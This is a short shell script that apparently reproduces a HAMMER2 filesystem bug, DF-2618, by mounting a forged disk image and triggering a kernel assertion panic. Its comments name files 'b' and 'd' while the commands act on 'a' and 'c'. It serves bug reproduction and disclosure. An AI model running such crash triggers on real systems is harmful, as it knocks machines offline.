#!/bin/sh
# DF-2618 trigger (guest, root, stock INVARIANTS kernel).
# usage: trigger.sh <control|craft>
#   control : mount the pristine base image -> everything works, no panic
#   craft   : mount the forged image -> pin file b (open fd keeps its INODE
#             chain in the root dir chain's core.rbtree), then stat d.
#             Expected: panic "hammer2_chain_insert: collision" (chain.c:314)
MODE=$1
IMG=base2618.img
[ "$MODE" = craft ] && IMG=craft2618.img
echo "=== DF-2618 trigger mode=$MODE img=$IMG ==="
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /root/poc/df2618/$IMG
mkdir -p /mnt/h2
mount -t hammer2 /dev/vn0@testvol /mnt/h2
echo "MOUNT_RC=$?"
ls /mnt/h2
echo "LS_RC=$?"
stat -f 'stat:%N inum=%i size=%z' /mnt/h2/a /mnt/h2/b
echo "STAT_AB_RC=$?"
stat -f 'stat:%N inum=%i' /mnt/h2/c 2>&1
echo "STAT_C_RC=$?  (expect EIO-style failure: bref for b shadows c)"
echo '--- pin file b: open fd -> ip(b) holds chain [B,B+2^kb-1] in rbtree'
exec 9< /mnt/h2/a
echo "OPEN_B_RC=$?"
echo '--- stat d: base_find(D) selects overlapping b-inum bref -> chain_get(C) ->'
echo '    RB_INSERT collision with pinned chain(B) -> KASSERT chain.c:314'
stat /mnt/h2/c 2>&1
echo "STAT_C_RC=$? (unreachable on INVARIANTS if panic occurred)"
exec 9<&- 2>/dev/null
umount /mnt/h2 2>/dev/null
vnconfig -u vn0 2>/dev/null
echo "DONE_NO_PANIC"